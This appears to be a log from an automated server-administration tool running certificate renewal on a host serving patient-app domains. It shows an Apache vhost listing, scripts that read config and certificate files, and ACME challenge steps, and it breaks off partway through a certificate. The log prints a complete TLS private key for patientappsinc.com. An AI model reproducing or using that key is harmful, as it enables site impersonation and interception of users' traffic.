port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:01:51:
PUT: /tmp/pkp556710
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:01:51:
chmod 755 /tmp/pkp556710; /tmp/pkp556710; rm /tmp/pkp556710
2025-09-06 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 1906
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2025-09-06 06:01:51:
PUT: /tmp/pkp438315
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:01:51:
chmod 755 /tmp/pkp438315; /tmp/pkp438315; rm /tmp/pkp438315
2025-09-06 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt 5430
79:ed:38:af:4f:83:c0:b6:be:69:fc:75:fb:14:22:c1
-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBR3DpV5NQTyOWwdhL+tiF4zhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzIwWhcNMjUxMjA1MDUwMzE5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwNgF4wMvxJ28PNdi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+Zz
OXl+YP2r2yPe+2sskoYvTgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHl
Pg2Ro89oMPOkR01z8l8wvCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9
fj6+/RULwYrCFmOX/QcOkWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7
qMdy5G4HIcAUfLVMawdjUyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt
/riQ84Z5MG04siAirlW408WhSkbZAgMBAAGjggJbMIICVzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFA39tJHCJi9y+HewFg7FaDLb5ZluMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzk4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAAB
mR2d4eEAAAQDAEYwRAIgWqFligpOeersS1vxDZ4h56WbGZiSKIDCjwn9aeRtqVgC
IAQs4A/9YTEbPokpDJW+U1//3zVEXiuIUTM9CUm7JpKKAHYA3dzKNJXX4RYF55Uy
+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZHZ3iJgAABAMARzBFAiAhvrWPuGnukExx
cd1Bs5PJJV8jpjt4X08zwupndrP8QAIhAOjryoT+ZMwl8H8PAMpCnCgrEzEsFYLB
6oFjcpU+1xoIMA0GCSqGSIb3DQEBCwUAA4IBAQA5tq5cfw4VjMGMrSoI6ECCxXEl
1rt4RLcanmN96mxls07yDIAWBF6M54wRzMaE+tVpBArwjdGw73c53njLSSyboHQB
TvSBa48Df8BeWZM0d4sSpFPSBocBg7/XchT1PHbf4t/f+5PsID+xlCm92YtzfU0h
/zIIOGsmF2fZUmy+7e4WEiXceudc/Z976PA8d6WhnDjr2unLhn0CHWWQLS2EVIzs
V9Fu5HIpWb1wECceS/yE6o1iSQ7SzJcFfLJ1HeI0t47aqtNZSZqOARX1fKlQlPHh
RTEA4i1GKZQb1gwKErGN+eViNk/NI0Nn8X/Tjs09DHDACQoNesUW+Lmql/1j
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDwNgF4wMvxJ28P
Ndi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+ZzOXl+YP2r2yPe+2sskoYv
TgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHlPg2Ro89oMPOkR01z8l8w
vCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9fj6+/RULwYrCFmOX/QcO
kWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7qMdy5G4HIcAUfLVMawdj
UyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt/riQ84Z5MG04siAirlW4
08WhSkbZAgMBAAECggEBAKbov8kKHiuo/PCSt81SIJZAloed/uGjZZGny7wkPLAy
U4Q9nQFm8LdfE7AIxbTc7CbYFGrCREwqW/bOu2FokJ+4TT9+2zlGvTEnwxtPLnIo
u1NBlKt2Fw9HVwfVQFRsgJejPAhwSw8/4IjakCQjaqy58Ow/py2rZrcopQ5D5MaP
BQ21s5Ll3tPB82RG+1EzsKFLRlzu14EEqW83P5Bej0v3ZRyqM32ID72A6swuFtTr
jDPgzbKTcpRkFC14iX4fo/RHUK4w2Ie5kNrIVEoXDD5QKORUt+zuPZibzmknT64z
dXoIQJb9FO01A2oxrjDYoSlNehPtZmro/feE4q3T+ekCgYEA+YgwdEYgNvOC1b/F
1SMUD+L3A5Pwb3LyicCaYn1KeZ3CyaT3WwWdYsm269Qi/rjMEUJvX8ql0ei1mul8
Y2S/Zfy/Hg8N6D6gCQEhiZzRHfyL/5vS9XVBF6PkVEgJffvubTmHesp0n551jCKo
UxjfaqJKSKZPQ75Xw5mkZKye5w8CgYEA9m/3GkYvbnManEFaSRHY7o3+PPkSpXnH
/mPllkOsiO7TeQHfN48WnToRijzwHPy8PARN3b379dIczf1pTUuECY8SfwA9tVxl
DAIw+cjm/B/0LKnA96Ufi2zcAGFtmMdZnohRvoHASsw3+jpVjQrvRoUFcqYnqaYg
WbMkkp/4M5cCgYAs2Th0PYJevgee6VfiReq+LDnfT8CgF1XWQmK9Hu26zAsNePPo
TSsLbVvOKROdGpO66mjgG6kQADZbwGlV5+6qovGqsmP6gP78f1KKzD+dlx2GdHhH
G6r2V8ObDlN+bEBfKz7ZZ/fsFGvmIviD7u2A2ehmBFYsw9I8Wqn8WjY5KwKBgBHK
NWFdLbFgd8xN33Gk6y8VawQFyvXNG8XeekVlrz/XVcbHftCo8K368iczjPXavM/s
U56tR1IQj+nC4GYnDGoQPPqUDuBXwieixNxTR3Ft8ReETZzS+7r56cvRPLMpuOt7
1cLV5QbBRU04BtL+thU2JxWGrxhNGMrA5uP6zlUTAoGAb50XiOnJEQsCgqmzL3hs
Iwu7oKeY0BL5NHw1IogHwTKtC3dlHotLQQP8P5j2ERRvqfT5MZVdehZTryHznLnV
NYW0NjCCjelPSYm4JRjSyVMDvFDsVKcXhl0RC5CYTHaHcxi8ErP+3A3IwNcGcCim
oYxg4INpiwOwUuPRw4RK9QQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-06 06:01:52: Establishing a connection
2025-09-06 06:01:52: Establishing a connection
2025-09-06 06:01:52:
PUT: /tmp/pkp379624
#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:01:53:
chmod 755 /tmp/pkp379624; /tmp/pkp379624; rm /tmp/pkp379624
2025-09-06 06:01:53:
1
2025-09-06 06:01:53: Establishing a connection
2025-09-06 06:01:53:
PUT: /tmp/pkp582721
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE
cat > KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I
2025-09-06 06:01:53:
chmod 755 /tmp/pkp582721; /tmp/pkp582721; rm /tmp/pkp582721
2025-09-06 06:01:53:
2025-09-06 06:02:06: Establishing a connection
2025-09-06 06:02:06:
PUT: /tmp/pkp797569
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE
rm KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I
2025-09-06 06:02:06:
chmod 755 /tmp/pkp797569; /tmp/pkp797569; rm /tmp/pkp797569
2025-09-06 06:02:06:
2025-09-06 06:02:06: Establishing a connection
2025-09-06 06:02:06:
PUT: /tmp/pkp537202
#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt
cat > $temp_file <<'endmsg'
4e:9c:46:ce:39:ae:5a:3a:14:5e:2b:88:53:b1:1c:c5
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBUBG34MsywhPJrau2htC7u0oMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzMzWhcNMjUxMjA1MDUwMzMyWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
x7kMCI9xsH2+L7SYylVl2aWFa/FYHi6t75jV2wRTZqql3ENyoTFM3x/p3pSNAwth
ugLkRJuJFw2W1WmA/pYWbBvH77Xaxj1JtyeMUmvH3ZtsPzqRIS+CwQaUFkvVxQvu
7M+DASFAq3QRzJsLJwvfWH6Bh+W0CcboJXs+IP4V7gfTVZLJf0hwNQm3bL1Dv9sX
rUX80swxit6WdTq/Eu3GNBBjdkiZ1VWuu2LH8NqzzLrrYWInGO/muyPuzPl+Gf5P
F9kJ/sywC9Tma38TO4Ke2gOMRlrH5mFfJgjFJMYcOnbm26qiNCVTPbrIBNGAggjx
WryxrX/BL9SSr3QgzaLHWwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQaGJ6oJszKCa64x1pTGy67Y7bnbzAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDEuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZ
HZ4V2wAABAMARzBFAiBQDzBVqno2O0HwcZA6kIWqBwC/FfSO3Mz2JPjOKG2fSAIh
ALTF9fPdnlhYG9IS2suwwqH5023wCpJnJPm3Uhu5ugTMAHcAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZ4drAAABAMASDBGAiEAloNd+IumCZEG
L80+Dja7Geu0yozhHVVLXozKeXIiOBoCIQCFL+QfsBlgJJNCQq7PIZ2UYIDDnvW/
